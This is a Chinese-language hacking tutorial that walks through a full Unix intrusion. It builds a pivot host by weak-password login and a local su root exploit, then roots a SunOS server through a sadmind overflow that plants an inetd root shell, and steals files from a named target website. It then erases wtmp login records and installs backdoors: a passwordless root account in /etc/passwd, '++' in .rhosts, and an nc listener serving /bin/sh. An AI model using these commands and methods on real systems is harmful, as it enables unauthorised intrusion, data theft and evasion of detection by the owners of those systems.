unix入侵教程
我寫這篇文章的目的是給那些想學黑客技術的菜鳥們看的,如果您已經是高手了,您可以跳過去沒必要看了J這裡所講敘的是從尋找跳板開始到如何擦PP的完整過程.這篇文章純屬研究性文章.請不要將此用於不正當途徑.後果自負!!!最後,如果要轉載本文請保持文章的完整性,以尊重作者的版權J
一.跳板篇
這些年網上黑客事件也日益增多了,各個國家與網絡安全的法令也相繼推出了!因而如果想入侵一個系統.而又不想惹上官司,那麼自身安全因該是放在第一位.嗯,那麼如何才可以保證自己不被發現呢?談論這個問題的文章出來了很多,但在這眾多的方法中我還是比較喜歡使用跳板主機(也就是平時說的堡壘主機),使用跳板主機有幾點好處,首先是可以隱藏自己,再就是如果有一台功能齊全的跳板主機可以讓工作達到事半功倍的效果:)那麼如果得到一台跳板主機呢?
在網絡上運行的服務器有很多,最常見的有Unix Linux NT W2k Solaris irix FreeBSD不過在這些主機中我最喜歡用W2k和Linux作為攻擊平台了。W2k的Crack方法有很多比如:輸入法漏洞,Unicode二次編碼漏洞,IPC共享密碼猜測等等,這些漏洞的利用方法有很多,而如何將NT/W2k做成跳板的文章也不少,因而我在這裡也沒有必要再重復了,我建議大家可以看看小榕寫的關於如何利用IPC的補充文檔,上面有如何將NT/W2k做成跳板的詳細過程!
下面我主要介紹如何制作Linux的跳板主機,要得到一台Linux可以用破譯弱口令的方法得到,至於破譯弱口令的工具我感覺流光是最好用的:)你可以到www.netxeyes.org免費得到。如果不想下工具的朋友,可以使用Finger命令來得到弱口令列表:
比如我們已經知道xxx.xxx.xxx.xxx的79端口開放,那麼我們可以輕易的得到一些薄弱主機的用戶列表J
――――――――――――――――――test――――――――――――――――――
c:>finger [email protected]
[xxx.xxx.xxx.xxx]
finger:0:no such user
------------------------------------------------------end------------------------------------------------------
失敗:(呵呵。。。沒關系啦,別灰心我們再來!!!
-------------------------------------------------------test-----------------------------------------------------
c:>finger [email protected]
[xxx.xxx.xxx.xxx]
Login Name TTY Idle When Where
Root ??? <….>
Bin ??? <….>
Sys ??? <….>
ver21 ??? pst/0 211.25.64.2
liky ??? 437 211.35.26.4
how ??? pst/2 211.65.24.8
tong ??? pst/0 211.85.24.5
test ??? <….>
dv0928 ??? 52 211.54.25.6
nobody ??? 021 211.25.42.6
imnadm ??? 62 211.23.65.5
哈哈。。。這麼多用戶:)這下我發了:)
c:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 6.0 Publisher's Edition (Hedwig)
Kernel 2.2.5-15 on an i586
Login:nobody
Password:
Login incorrect
Login:imnadm
Password:
Login incorrect
Login:test
Password:
##########################################################################
# However,as the Serv will reload those classes. #
# inside the “/usr/proj/gipex/class”.you just. #
# need to remove the old class with the new one. #
# #########################################################################
$w
6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10
User tty login@ idle JCPU PCPU what
root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?
root pts/4 Fri 4pm 5days tail -f syslog
delex pts/7 6:19pm w
$uname –a
Linux server.syscrew.co.jp 2.2.5-15 #1 Mon Apr 19 21:39:28 EDT 1999 i586 unknown
$gcc
gcc: No input files
不錯哈。。我可以編譯程序了:)
下面我就要來個本地溢出得到ROOT只有ROOT才可以干我想干的事情啊!!!
Su.c可以在www.hack.co.za找到!!!
好了,下載下來。。。。
c:\>ftp xxx.xxx.xxx.xxx
Connected to xxx.xxx.xxx.xxx
220 server.syscrew.co.jp FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:5
3 EDT 1999) ready.
User (xxx.xxx.xxx.xxx:(none)):test
331 Password required for test.
Password:
ftp>put su.c
200 PORT command successful.
150 Opening ASCII mode data connection for su.c.
226 Transfer complete.
ftp: 12554 bytes sent in 0.00Seconds 12554000.00Kbytes/sec.
ftp>bye
221-You have transferred 11991 bytes in 1 files.
221-Total traffic for this session was 12355 bytes in 1 transfers.
221-Thank you for using the FTP service on xxx.xxx.xxx.xxx.
221 Goodbye.
好了換telnet來
$gcc –o su su.c
$./su
su exploit by XP
Enjoy!
Phase 1. Checking paths and write permisions
Checking for /usr/bin/msgfmt...Ok
Checking for /usr/bin/objdump...Ok
Checking write permisions on /tmp...Ok
Checking read permisions on /bin/su...Ok
Checking for a valid language... [using cs_CZ] Ok
Checking that /tmp/LC_MESSAGES does not exist...Ok
Phase 2. Calculating eat and pad values
.....................................................................done
eat = 119 and pad = 2
Phase 3. Creating evil libc.mo and setting enviroment
vars
Phase 4. Getting address of .dtors section of /bin/su
..........................................done
.dtors is at 0x0804ba0c
Phase 5. Compiling suid shell
/tmp/xp created Ok
Phase 6. Executing /bin/su
- Entering rootshell ;-) -
bash#
ok,到這裡我們已經得到root了。你現在可以****想干的事情了!!!
bash#telnet localhost
這樣就會將下一個登陸人的IP覆蓋到自己IP上:)這樣就不容易發現了!!!
一個跳板Linux主機就作好了,記得保存好喲,我們下次還要用呢!!!
二.攻擊篇
這些天我看准了日本一家經濟方面的網站,想進去拿點東西;)如果發E-mail給網管叫他給我,我想他一定不答應。說不定用那亂七八糟的日文將我罵一頓,可對於我這個不懂日文的家伙可能看了還樂滋滋的,並不覺得是在罵我。那麼,就只有一中方法了,那就是我自己進去看看J(下面網站地址用196.0.0.1表示,以便將跳板主機與我們要攻擊的主機分開)
首先,我們登陸上次已經Crack了的Linux主機吧:)我想剛剛Crack完應該還有效吧;)
c:\>telnet xxx.xxx.xxx.xxx
Login:test
Password:
##########################################################################
# However,as the Serv will reload those classes. #
# inside the “/usr/proj/gipex/class”.you just. #
# need to remove the old class with the new one. #
# #########################################################################
$./su
bash#nmap –O 196.0.0.1
我們通過nmap的掃描結果發現這個系統是SunOS 5.6的主機
我馬上又登陸到另一台已經Crack了的SunOS5.6的主機(至於SunOS5.6跳板主機如何得到我就不再在這裡浪費口舌了,和Linux跳板主機的制作方法大同小異)
#rpccinfo –p 196.0.0.1
program vers proto port service
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 2 udp 111 rpcbind
…………
100232 10 udp 61358 sadmind
…………
100001 4 udp 61363 rstatd
100001 3 udp 61363 rstatd
根據rpcinfo返回的結果,我發現這台主機開放了不少RPC服務,其中:
100232 10 udp 61358 sadmind
引起我的注意,我記得在CERT的報告有一個關於sadmind的遠程溢出報告,那一定也有相應的溢出程序:)我馬上到www.hack.co.za搜索一番:)最後我找到了一個溢出源程序sadmindex.c(程序太長,我就不在這裡羅列了!!!請大家到www.hack.co.za上找:)
我們登陸到那台Linux上
bash#gcc –o sadmindex sadmindex.c –lrpcsvc –lnsl –lsocket
bash#./sadmindex –h 196.0.0.1 –c “echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob;/usr/sbin/inetd –s /tmp/bob”-s 0xefff9580
“echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob這一句是我們要在目標服務器上執行的命令,他的功能就是生成一個內容是”ingreslock stream tcp nowait root /bin/sh **-*”的/*mp/bob文件,然後再用inetd來啟動,如果成功我們就可以再目標機的1024端口上開一個後門,用TELNET連接上去後就可以直接用root身份執行shell了。。。哈哈是不是很爽?
Bash#telnet 196.0.0.1 1024
#
ok成功J我們成功得到root了!!!
#find / -name index.html –print
在/www/http/htdoc/目錄下發現主頁文件:)我的目的不是改主頁,是要一些文件:)在這只是帶說一下查找的方法!
#find / -name *.* -print (*.*是我要找的文件。這裡省略名字:))
接下來將文件copy到主頁目錄,這樣我們就可以下載了:)
#cp /home/www/*.* /www/http/htdoc
ok完成。我馬上在浏覽器裡打入:http://196.0.0.1/*.*
下載成功。。。這次攻擊就結束了。。。嘿嘿。。。。下面應該是要擦屁股走人了。。。不過如果你不想也可以。因為我們已經通過跳板登陸的。他們要查到我們也不是很容易的:)不過為了更加保險。也為了我們可以下次在登陸。我們還是擦擦屁股比較好。。。哦。。。天啊!!!
呀。。。不好。。。媽媽來了。。。叫俺學習去:(沒辦法。。。我們下次接著說吧!!!
三.打掃戰場
我們進行一次攻擊為了不讓管理員發現,同時也為了我們有可能再一次的登陸,我們有必要清理等了記錄。為了找出怎麼做的合適方法,我們不妨看看/etc/syslog.conf配置文件的內容。也許對你清理戰場有很大幫助!
#cat /etc/syslog.conf
#Log all kernel messages to the console.
#Loging much else clutters up the screen.
#kern.*
#Log anything (except mail)of level info or higher.
#Don’t log private authentication messages!
*.info;mail.none;authpriv.none
#The authpriv file has restricted access.
Authpriv.*
#Log all the amil messages in one place.
Mail.* /var/log/maillog
#Everybody gets emergency messages,plus log them on another
#machine.
*.emerg
#Save mail and news errors of level err and higher in a
#special file.
Uucp,news.crit
/var/log/spooler
有了這些信息後我們就知道在/var/log目錄下查找關鍵登陸文件了!簡單的列一個目錄,我們發現存在的各種登記文件,包括cron,maillog,messages,spooler,secure,wtmp和xferlog。
系統改動的文件有很多,包括了:messages,secure,wtmp和xferlog。既然wtmp是二進制的我們就可以用wzap.c來清理wtmp記錄文件(這個文件在很多黑客網站上能找到源代碼)
#gcc –o wzap wzap.c
#who ./wtmp
joel ftpd17264 jul 1 12:09 (*.*.*.*) 注:(*.*.*.*是跳板主機的IP地址,也是我們
root tty1 jul 4 22:21 要清除的IP地址)
root tty1 jul 5 18:25
…………..
joel ftpd945 jul 14 17:25(*.*.*.*)
…………..
root
作者: ★果凍★[457283] 2001-07-17 16:34:38 [回復]
root tty1 jul 20 18:14
#/opt/wzap
Enter username to zap from the wtmp:joe1
Opening file…
Opening output file…
Working…
#who ./wtmp.out
root tty1 jul 4 22:21
root tty1 jul 5 18:25
…….
好了。。這樣我們的wtmp記錄就刪除了!!!
我們接下來可以用VI當然也可以用相應的黑客程序來抹掉其他的登陸記錄。我就不再在這裡多說了,方法大同小異的!!!
四.後門篇
1..添加一個root用戶
echo “jelly::0:0::/:/bin/sh”>> /etc/passwd
這個帳戶沒有密碼:)不過這很容易被管理員發現,只要他看一下文件就會發現多出來的用戶名!
2..echo “++” >>/.rhosts
用戶可以通過rlogin rsh rcp等連接到服務器。不過這種方法也容易暴露自己
3..修改Sendmail.cf不過這個後門一般的掃描器都會刺探到比如:nessus我想自己的勞動成果是不願意讓別人隨意拿走的吧?
4..Shell後門
這種後門最普遍,也很簡單。通常是在某一特定端口監聽,如果連接上後立即執行/bin/sh。這樣就可以得到shell的使用權了。這類似的源程序可以在一些好點的黑客網站上找到。比如說安全焦點(www.xfocus.org)
5.修改內核或降低某些軟件版本達到後門目的。不過這種方法實現不容易。如果弄不好就會被發現,所以建議不要輕易使用這種方法
後門舉例:
#gcc –o nc nc.c
#nc –l –d /bin/sh –p 8888
以後我們只要直接telnet服務器的8888端口就可以得到shell了:)
好了關於一次完整的入侵過程就講到這裡,不過在這裡還是要提醒大家,入侵國內網站是十分危險的,請大家三思而行啊!!!